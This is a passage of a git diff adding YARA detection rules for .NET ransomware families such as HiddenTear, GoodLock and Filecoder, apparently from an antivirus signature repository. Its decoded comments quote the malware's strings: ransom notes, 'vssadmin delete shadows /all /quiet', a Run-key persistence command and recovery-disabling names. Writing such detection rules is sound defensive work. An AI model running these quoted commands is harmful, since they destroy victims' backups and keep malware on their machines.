00 00 70 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 25 17 6f 1c 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 2a } //2 + $a_03_1 = {73 16 00 00 0a 25 72 ?? 01 00 70 6f ?? 00 00 0a 25 72 ?? 01 00 70 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 16 } //2 + $a_03_2 = {73 16 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 00 00 70 02 72 ?? 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 73 16 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 00 00 70 02 72 ?? 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 03 02 6f ?? 00 00 0a 2a } //2 + $a_00_3 = {64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //1 delete shadows /all /quiet + $a_01_4 = {44 69 73 61 62 6c 65 57 69 6e 64 6f 77 73 52 65 63 6f 76 65 72 79 45 6e 76 69 72 6f 6e 6d 65 6e 74 } //1 DisableWindowsRecoveryEnvironment + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2+(#a_00_3 & 1)*1+(#a_01_4 & 1)*1) >=8 + } \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITF_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITF_MTB.yar new file mode 100644 index 0000000000..2e93308dcb --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITF_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Filecoder_NITF_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.NITF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {11 04 72 77 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 2c 21 11 04 72 87 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 2c 0e 11 04 72 9f 00 00 70 28 ?? 00 00 0a 13 05 11 05 28 ?? 00 00 0a 2d 02 de 33 11 05 28 ?? 00 00 06 06 7b 0c 00 00 04 25 2d 18 26 06 06 fe 06 19 00 00 06 73 3b 00 00 0a 25 13 06 7d 0c 00 00 04 11 06 28 ?? 00 00 2b 26 de 03 } //3 + $a_03_1 = {05 00 00 11 02 72 ?? 01 00 70 6f ?? 00 00 0a 2d 79 02 72 ?? 01 00 70 6f ?? 00 00 0a 2d 6c 02 72 ?? 01 00 70 6f ?? 00 00 0a 2d 5f 02 72 ?? 01 00 70 6f ?? 00 00 0a 2d 52 02 73 43 00 00 0a 6f ?? 00 00 0a 0a 02 03 72 ?? 01 00 70 28 ?? 00 00 06 02 28 ?? 00 00 0a 72 ?? 01 00 70 28 ?? 00 00 0a 0b 02 72 ?? 01 00 70 28 ?? 00 00 0a 06 28 ?? 00 00 0a 07 28 ?? 00 00 0a 2d 10 07 7e 05 00 00 04 28 ?? 00 00 06 28 ?? 00 00 0a 2a } //3 + $a_03_2 = {07 00 00 11 28 ?? 00 00 06 28 ?? 00 00 0a 72 ?? 01 00 70 28 ?? 00 00 0a 0a 06 28 ?? 00 00 0a 6f ?? 00 00 0a 1f 14 16 06 19 28 ?? 00 00 06 2d 0a 72 ?? 01 00 70 28 ?? 00 00 0a 2a } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*3+(#a_03_2 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGM_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGM_MTB.yar new file mode 100644 index 0000000000..7f3c7722d4 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGM_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Filecoder_PAGM_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.PAGM!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 77 00 65 00 72 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 2c 00 20 00 67 00 6f 00 6f 00 64 00 20 00 6c 00 75 00 63 00 6b 00 2c 00 20 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 3a 00 20 00 78 00 63 00 72 00 79 00 70 00 74 00 65 00 72 00 2e 00 } //2 All your files were encrypted, good luck, discord: xcrypter. + $a_01_1 = {2e 00 78 00 63 00 72 00 79 00 70 00 74 00 } //2 .xcrypt + $a_01_2 = {62 00 61 00 63 00 6b 00 67 00 72 00 6f 00 75 00 6e 00 64 00 } //1 background + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGN_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGN_MTB.yar new file mode 100644 index 0000000000..35a5cb53d9 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGN_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_Filecoder_PAGN_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.PAGN!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {41 00 6c 00 6c 00 20 00 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 73 00 6f 00 6d 00 65 00 20 00 73 00 75 00 70 00 65 00 72 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 57 00 61 00 72 00 65 00 21 00 21 00 } //2 All your files have been encrypted with some super RansomWare!! + $a_01_1 = {2e 00 52 00 41 00 4e 00 53 00 4f 00 4d 00 } //2 .RANSOM + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGP_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGP_MTB.yar new file mode 100644 index 0000000000..02c55ff845 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_PAGP_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Filecoder_PAGP_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.PAGP!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {77 00 61 00 6c 00 6c 00 70 00 61 00 70 00 65 00 72 00 2e 00 62 00 6d 00 70 00 } //2 wallpaper.bmp + $a_01_1 = {42 00 75 00 74 00 20 00 77 00 68 00 79 00 20 00 73 00 74 00 65 00 61 00 6c 00 20 00 74 00 68 00 69 00 73 00 20 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 3f 00 20 00 6e 00 6f 00 20 00 73 00 68 00 61 00 6d 00 65 00 3f 00 20 00 44 00 4f 00 20 00 4e 00 4f 00 54 00 20 00 55 00 53 00 45 00 21 00 } //1 But why steal this software? no shame? DO NOT USE! + $a_01_2 = {41 00 72 00 65 00 20 00 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 70 00 72 00 6f 00 63 00 65 00 65 00 64 00 20 00 6f 00 70 00 65 00 6e 00 20 00 74 00 68 00 69 00 73 00 20 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 20 00 6f 00 6e 00 20 00 75 00 6e 00 73 00 75 00 70 00 70 00 6f 00 72 00 74 00 65 00 64 00 20 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 3f 00 20 00 49 00 74 00 20 00 6d 00 61 00 79 00 20 00 68 00 61 00 72 00 6d 00 20 00 79 00 6f 00 75 00 72 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 2e 00 20 00 59 00 6f 00 75 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 77 00 61 00 72 00 6e 00 21 00 } //2 Are you sure want to proceed open this software on unsupported platform? It may harm your computer. You have been warn! + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_SP_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_SP_MTB.yar index 7a5ca3496a..d07dd90dd7 100644 --- a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_SP_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_SP_MTB.yar @@ -1,7 +1,7 @@ -rule Ransom_MSIL_Filecoder_SP_MTB{ +rule Ransom_MSIL_FileCoder_SP_MTB{ meta: - description = "Ransom:MSIL/Filecoder.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + description = "Ransom:MSIL/FileCoder.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " strings : $a_03_0 = {0a 08 17 58 0c 08 1f 0a 32 f0 90 0a 10 00 07 06 6f } //3 @@ -10,4 +10,15 @@ rule Ransom_MSIL_Filecoder_SP_MTB{ condition: ((#a_03_0 & 1)*3+(#a_81_1 & 1)*1+(#a_01_2 & 1)*1) >=5 +} +rule Ransom_MSIL_FileCoder_SP_MTB_2{ + meta: + description = "Ransom:MSIL/FileCoder.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {06 07 9a 0c 08 28 05 00 00 06 2c 0d 08 28 06 00 00 06 1f 64 28 17 00 00 0a 07 17 58 0b 07 06 8e 69 32 dd } //2 + $a_81_1 = {64 78 5f 72 61 6e 73 6f 6d 77 61 72 65 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 64 78 5f 72 61 6e 73 6f 6d 77 61 72 65 2e 70 64 62 } //2 dx_ransomware\obj\Release\dx_ransomware.pdb + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + } \ No newline at end of file diff --git a/Ransom/MSIL/Goodlock/Ransom_MSIL_Goodlock_YAC_MTB.yar b/Ransom/MSIL/Goodlock/Ransom_MSIL_Goodlock_YAC_MTB.yar new file mode 100644 index 0000000000..b2f44c3f30 --- /dev/null +++ b/Ransom/MSIL/Goodlock/Ransom_MSIL_Goodlock_YAC_MTB.yar @@ -0,0 +1,19 @@ + +rule Ransom_MSIL_Goodlock_YAC_MTB{ + meta: + description = "Ransom:MSIL/Goodlock.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 00 " + + strings : + $a_01_0 = {47 6f 6f 64 4c 6f 63 6b 2e 65 78 65 } //1 GoodLock.exe + $a_01_1 = {47 6f 6f 64 4c 6f 63 6b 2e 49 6e 66 6f 2e 72 65 73 6f 75 72 63 65 73 } //1 GoodLock.Info.resources + $a_01_2 = {43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 } //1 CreateEncryptor + $a_01_3 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_4 = {44 65 63 72 79 70 74 41 6c 6c 45 6e 63 72 79 70 74 65 64 46 69 6c 65 73 } //1 DecryptAllEncryptedFiles + $a_01_5 = {45 4e 43 52 59 50 54 5f 44 45 53 4b 54 4f 50 } //1 ENCRYPT_DESKTOP + $a_01_6 = {45 4e 43 52 59 50 54 5f 50 49 43 54 55 52 45 53 } //2 ENCRYPT_PICTURES + $a_01_7 = {62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 62 00 79 00 20 00 67 00 6f 00 6f 00 64 00 } //10 been encrypted by good + $a_01_8 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 62 00 79 00 20 00 47 00 6f 00 6f 00 64 00 4c 00 6f 00 63 00 6b } //10 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*2+(#a_01_7 & 1)*10+(#a_01_8 & 1)*10) >=18 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HakunaMatata/Ransom_MSIL_HakunaMatata_PDZ_MTB.yar b/Ransom/MSIL/HakunaMatata/Ransom_MSIL_HakunaMatata_PDZ_MTB.yar new file mode 100644 index 0000000000..3c8b35648c --- /dev/null +++ b/Ransom/MSIL/HakunaMatata/Ransom_MSIL_HakunaMatata_PDZ_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_MSIL_HakunaMatata_PDZ_MTB{ + meta: + description = "Ransom:MSIL/HakunaMatata.PDZ!MTB,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 08 00 00 " + + strings : + $a_01_0 = {4b 49 4c 4c 5f 41 50 50 53 5f 45 4e 43 52 59 50 54 5f 41 47 41 49 4e } //3 KILL_APPS_ENCRYPT_AGAIN + $a_01_1 = {46 55 4c 4c 5f 45 4e 43 52 59 50 54 } //3 FULL_ENCRYPT + $a_01_2 = {64 61 74 61 54 6f 45 6e 63 72 79 70 74 } //2 dataToEncrypt + $a_01_3 = {54 52 49 50 4c 45 5f 45 4e 43 52 59 50 54 } //2 TRIPLE_ENCRYPT + $a_01_4 = {41 4c 4c 5f 44 52 49 56 45 53 } //1 ALL_DRIVES + $a_01_5 = {54 41 52 47 45 54 45 44 5f 45 58 54 45 4e 53 49 4f 4e 53 } //1 TARGETED_EXTENSIONS + $a_01_6 = {43 48 41 4e 47 45 5f 50 52 4f 43 45 53 53 5f 4e 41 4d 45 } //1 CHANGE_PROCESS_NAME + $a_01_7 = {3c 52 45 43 55 52 53 49 56 45 5f 44 49 52 45 43 54 4f 52 59 5f 4c 4f 4f 4b 3e } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_AHT_MTB.yar b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_AHT_MTB.yar new file mode 100644 index 0000000000..55965f9634 --- /dev/null +++ b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_AHT_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_HiddenTear_AHT_MTB{ + meta: + description = "Ransom:MSIL/HiddenTear.AHT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {13 08 00 11 08 13 09 16 13 0a ?? ?? ?? ?? ?? 11 09 11 0a 9a 13 0b 00 11 0b 6f ?? 00 00 0a 2c 0f 11 0b 6f ?? 00 00 0a 19 fe 01 16 fe 01 2b 01 17 13 0e 11 0e 2c 05 } //2 + $a_01_1 = {54 68 65 20 53 65 63 75 72 69 74 79 20 6f 66 20 54 68 69 73 20 43 6f 6d 70 75 74 65 72 20 48 61 73 20 42 65 65 6e 20 43 6f 6d 70 72 6f 6d 69 73 65 64 } //1 The Security of This Computer Has Been Compromised + $a_01_2 = {4a 75 70 69 74 65 72 4c 6f 63 6b 65 72 20 68 61 73 20 65 6e 63 72 79 70 74 65 64 20 61 6c 6c 20 74 68 65 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 63 6f 6d 70 75 74 65 72 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 41 45 53 2d 32 35 36 20 65 6e 63 72 79 70 74 69 6f 6e } //3 JupiterLocker has encrypted all the data on this computer with military-grade AES-256 encryption + $a_01_3 = {57 65 20 74 61 6b 65 20 6f 75 72 20 77 6f 72 6b 20 73 65 72 69 6f 75 73 6c 79 20 61 6e 64 20 75 6e 64 65 72 73 74 61 6e 64 20 74 68 61 74 20 79 6f 75 72 20 64 61 74 61 20 6d 61 79 20 62 65 20 73 65 6e 73 69 74 69 76 65 20 6f 72 20 69 6d 70 6f 72 74 61 6e 74 } //1 We take our work seriously and understand that your data may be sensitive or important + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*3+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_ASD_MTB.yar b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_ASD_MTB.yar new file mode 100644 index 0000000000..7f5c1dfd04 --- /dev/null +++ b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_ASD_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_HiddenTear_ASD_MTB{ + meta: + description = "Ransom:MSIL/HiddenTear.ASD!MTB,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 05 00 00 " + + strings : + $a_01_0 = {45 6e 63 72 79 70 74 46 69 6c 65 } //2 EncryptFile + $a_01_1 = {54 65 73 74 52 61 6e 73 6f 6d } //2 TestRansom + $a_01_2 = {59 00 4f 00 55 00 52 00 20 00 46 00 49 00 4c 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4e 00 20 00 45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 20 00 42 00 59 00 20 00 4e 00 41 00 4e 00 4f 00 43 00 52 00 59 00 50 00 54 00 20 00 52 00 41 00 4e 00 53 00 4f 00 4d 00 57 00 41 00 52 00 45 00 } //2 YOUR FILES HAVE BEEN ENCRYPTED BY NANOCRYPT RANSOMWARE + $a_01_3 = {43 3a 5c 55 73 65 72 73 5c 31 35 31 33 38 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 54 65 73 74 52 61 6e 73 6f 6d 5c 54 65 73 74 52 61 6e 73 6f 6d 5c 6f 62 6a 5c 44 65 62 75 67 5c 54 65 73 74 52 61 6e 73 6f 6d 2e 70 64 62 } //2 C:\Users\15138\source\repos\TestRansom\TestRansom\obj\Debug\TestRansom.pdb + $a_01_4 = {24 36 38 62 64 64 32 35 38 2d 35 35 39 30 2d 34 66 38 31 2d 61 62 65 32 2d 38 63 64 31 32 32 37 64 37 36 63 62 } //2 $68bdd258-5590-4f81-abe2-8cd1227d76cb + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_BA_MTB.yar b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_BA_MTB.yar new file mode 100644 index 0000000000..55f0e148be --- /dev/null +++ b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_BA_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_MSIL_HiddenTear_BA_MTB{ + meta: + description = "Ransom:MSIL/HiddenTear.BA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {52 61 6e 73 6f 6d 65 77 61 72 65 2e 70 64 62 } //1 Ransomeware.pdb + $a_81_1 = {44 65 63 72 79 70 74 20 59 6f 75 72 20 53 79 73 74 65 6d } //1 Decrypt Your System + $a_81_2 = {45 6e 63 72 79 70 74 69 6f 6e 4b 65 79 } //1 EncryptionKey + $a_81_3 = {70 61 79 20 79 6f 75 72 20 70 61 79 6d 65 6e 74 20 66 61 73 74 65 72 20 62 65 66 6f 72 65 20 79 6f 75 72 20 73 79 73 74 65 6d 20 63 72 61 73 68 65 64 } //1 pay your payment faster before your system crashed + $a_81_4 = {54 68 65 20 46 69 6c 65 20 48 61 76 65 20 42 65 65 6e 20 44 65 63 72 79 70 74 65 64 } //1 The File Have Been Decrypted + $a_81_5 = {63 72 79 70 74 6f 20 61 6e 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 68 6f 77 20 74 6f 20 64 65 63 72 79 70 74 20 74 68 65 20 73 79 73 74 65 6d } //1 crypto and instructions on how to decrypt the system + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_JLK_MTB.yar b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_JLK_MTB.yar new file mode 100644 index 0000000000..b131a18fd1 --- /dev/null +++ b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_JLK_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_MSIL_HiddenTear_JLK_MTB{ + meta: + description = "Ransom:MSIL/HiddenTear.JLK!MTB,SIGNATURE_TYPE_PEHSTR,09 00 09 00 07 00 00 " + + strings : + $a_01_0 = {41 00 44 00 4d 00 49 00 4e 00 20 00 50 00 52 00 49 00 56 00 49 00 4c 00 45 00 47 00 45 00 53 00 20 00 4f 00 42 00 54 00 41 00 49 00 4e 00 45 00 44 00 } //1 ADMIN PRIVILEGES OBTAINED + $a_01_1 = {4b 00 45 00 59 00 4c 00 4f 00 47 00 47 00 45 00 52 00 20 00 41 00 43 00 54 00 49 00 56 00 45 00 } //1 KEYLOGGER ACTIVE + $a_01_2 = {52 00 41 00 4e 00 53 00 4f 00 4d 00 57 00 41 00 52 00 45 00 20 00 49 00 4e 00 53 00 54 00 41 00 4c 00 4c 00 45 00 44 00 } //1 RANSOMWARE INSTALLED + $a_01_3 = {42 00 41 00 43 00 4b 00 44 00 4f 00 4f 00 52 00 20 00 45 00 53 00 54 00 41 00 42 00 4c 00 49 00 53 00 48 00 45 00 44 00 } //1 BACKDOOR ESTABLISHED + $a_01_4 = {59 00 4f 00 55 00 52 00 20 00 46 00 49 00 4c 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4e 00 20 00 45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 21 00 } //1 YOUR FILES HAVE BEEN ENCRYPTED! + $a_01_5 = {61 00 64 00 64 00 20 00 48 00 4b 00 43 00 55 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 20 00 2f 00 76 00 20 00 45 00 72 00 72 00 6f 00 72 00 } //2 add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Error + $a_01_6 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //2 vssadmin delete shadows /all /quiet + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_PDZ_MTB.yar b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_PDZ_MTB.yar new file mode 100644 index 0000000000..2f2015f382 --- /dev/null +++ b/Ransom/MSIL/HiddenTear/Ransom_MSIL_HiddenTear_PDZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_HiddenTear_PDZ_MTB{ + meta: + description = "Ransom:MSIL/HiddenTear.PDZ!MTB,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 04 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //3 Your files have been encrypted + $a_01_1 = {41 6e 79 20 61 74 74 65 6d 70 74 73 20 74 6f 20 64 65 63 72 79 70 74 20 61 20 66 69 6c 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 20 77 69 6c 6c 20 72 65 73 75 6c 74 20 69 6e 20 69 74 73 20 64 65 6c 65 74 69 6f 6e } //3 Any attempts to decrypt a file without permission will result in its deletion + $a_01_2 = {72 61 6e 73 6f 6d 20 70 61 79 6d 65 6e 74 } //2 ransom payment + $a_01_3 = {46 00 69 00 6c 00 65 00 4b 00 72 00 79 00 70 00 74 00 65 00 72 00 20 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 46 00 49 00 6c 00 65 00 7c 00 2a 00 2e 00 66 00 69 00 6c 00 65 00 6b 00 72 00 79 00 70 00 74 00 65 00 72 00 7c 00 41 00 6c 00 6c 00 20 00 46 00 69 00 6c 00 65 00 73 00 7c 00 2a 00 2e 00 2a 00 } //2 FileKrypter Encrypted FIle|*.filekrypter|All Files|*.* + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Ransom/MSIL/HiddenTears/Ransom_MSIL_HiddenTears_AYC_MTB.yar b/Ransom/MSIL/HiddenTears/Ransom_MSIL_HiddenTears_AYC_MTB.yar new file mode 100644 index 0000000000..1cf9bdfca7 --- /dev/null +++ b/Ransom/MSIL/HiddenTears/Ransom_MSIL_HiddenTears_AYC_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_HiddenTears_AYC_MTB{ + meta: + description = "Ransom:MSIL/HiddenTears.AYC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_00_0 = {5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 52 00 45 00 41 00 44 00 5f 00 4d 00 45 00 2e 00 54 00 58 00 54 00 } //2 \Desktop\READ_ME.TXT + $a_00_1 = {53 00 65 00 63 00 75 00 72 00 65 00 20 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 } //1 Secure Encryptor + $a_00_2 = {72 00 61 00 6e 00 73 00 6f 00 6d 00 30 00 31 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 6b 00 65 00 79 00 73 00 2e 00 70 00 68 00 70 00 } //1 ransom01/createkeys.php + $a_01_3 = {54 68 69 73 20 69 73 20 61 20 42 6c 6f 63 6b 63 68 61 69 6e } //1 This is a Blockchain + $a_01_4 = {53 65 6e 64 45 6e 63 72 79 70 74 65 64 4b 65 79 } //1 SendEncryptedKey + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/IncRansom/Ransom_MSIL_IncRansom_YAD_MTB.yar b/Ransom/MSIL/IncRansom/Ransom_MSIL_IncRansom_YAD_MTB.yar new file mode 100644 index 0000000000..7a7b230445 --- /dev/null +++ b/Ransom/MSIL/IncRansom/Ransom_MSIL_IncRansom_YAD_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_IncRansom_YAD_MTB{ + meta: + description = "Ransom:MSIL/IncRansom.YAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 00 " + + strings : + $a_01_0 = {72 61 6e 73 6f 6d 65 77 61 72 65 2e 70 73 31 } //10 ransomeware.ps1 + $a_01_1 = {46 49 4c 45 53 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 } //5 FILES HAVE BEEN ENCRYPTED + $a_01_2 = {65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 65 6e 63 72 79 70 74 69 6f 6e } //5 encrypted with military-grade encryption + $a_01_3 = {50 41 59 20 54 48 45 20 52 41 4e 53 4f 4d } //1 PAY THE RANSOM + condition: + ((#a_01_0 & 